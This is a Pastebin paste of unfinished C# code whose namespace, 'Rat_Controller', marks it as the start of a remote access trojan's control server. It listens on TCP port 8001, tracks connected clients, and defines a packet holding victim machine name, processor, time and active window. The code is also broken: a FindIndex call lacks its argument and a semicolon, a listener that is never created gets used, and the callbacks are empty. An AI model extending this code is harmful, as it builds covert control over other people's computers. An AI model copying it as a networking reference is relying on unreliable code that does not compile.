Advertisement
Guest User

Untitled

a guest
May 22nd, 2019
94
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
C# 3.16 KB | None | 0 0
  1. using System;
  2. using System.Collections.Generic;
  3. using System.Linq;
  4. using System.Text;
  5. using System.Threading.Tasks;
  6. using System.Net.Sockets;
  7. using System.Net;
  8. using System.Windows.Forms;
  9.  
  10.  
  11.  
  12. namespace Rat_Controller
  13. {
  14.     class Client
  15.     {
  16.  
  17.         public ReceivePacket Receive;
  18.         public int Id;
  19.         public Socket _socket;
  20.         public Client(Socket socket,int id)
  21.         {
  22.             Receive = new ReceivePacket(socket, id);
  23.             Receive.ReceiveData();
  24.             _socket = socket;
  25.             Id = id;
  26.  
  27.         }
  28.     }
  29.     class ClientsControl
  30.     {
  31.         public static List<Client> ClientList = new List<Client>();
  32.         public static void AddClient(Socket socket)
  33.         {
  34.             ClientList.Add(new Client(socket, ClientList.Count));
  35.         }
  36.         public static void RemoveClient(int id)
  37.         {
  38.             ClientList.RemoveAt(ClientList.FindIndex())
  39.         }
  40.  
  41.     }
  42.     class ReceivePacket
  43.     {
  44.         private byte[] _buffer;
  45.         private Socket _receiveSocket;
  46.         public ReceivePacket(Socket receiveSocket,int id)
  47.         {
  48.             _receiveSocket = receiveSocket;
  49.         }
  50.         public void ReceiveData()
  51.         {
  52.             _buffer = new byte[1024];
  53.             _receiveSocket.BeginReceive(_buffer, 0, _buffer.Length, SocketFlags.None, ReceiveCallback, null);
  54.         }
  55.         private void ReceiveCallback(IAsyncResult AR)
  56.         {
  57.             if(_receiveSocket.EndReceive(AR) > 1)
  58.             {
  59.  
  60.             }
  61.             else
  62.             {
  63.                 _receiveSocket.Disconnect(true);
  64.             }
  65.         }
  66.     }
  67.  
  68.     class Networking
  69.     {
  70.         struct Packet
  71.         {
  72.             string Name;
  73.             string Processor;
  74.             string Time;
  75.             string CurrentWindow;
  76.         };
  77.  
  78.         public string data;
  79.         public Socket s = null;
  80.         public IPAddress ip = null;
  81.         public TcpListener listen;
  82.         public Networking()
  83.         {
  84.  
  85.         }
  86.  
  87.         public void AcceptCallback(IAsyncResult ar)
  88.         {
  89.  
  90.         }
  91.         public int startListen()
  92.         {
  93.  
  94.             try
  95.             {
  96.                 s = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp);
  97.  
  98.                 ip = IPAddress.Parse("127.0.0.1");
  99.  
  100.                 // listen = new TcpListener(ip, 8001);
  101.                 //listen.Start();
  102.                
  103.                 s.Bind(new IPEndPoint(IPAddress.Any, 8001));
  104.                 s.Listen(10);
  105.                 s.BeginAccept(AcceptCallback, s);
  106.        
  107.             }
  108.             catch(Exception ex)
  109.             {
  110.                 throw new Exception("Listening Error " + ex);
  111.             }
  112.  
  113.                 s = listen.AcceptSocket(); //blocking
  114.                 MessageBox.Show("Connection Established From " + s.RemoteEndPoint);
  115.                 byte[] b = new byte[10000];
  116.                 int bytesRec = s.Receive(b);
  117.  
  118.                  data = Encoding.Default.GetString(b);
  119.            // ASCIIEncoding asen = new ASCIIEncoding();
  120.            // s.Send(asen.GetBytes(""))
  121.  
  122.             MessageBox.Show(data);
  123.  
  124.             return 0;
  125.  
  126.  
  127.         }
  128.  
  129.     }
  130. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement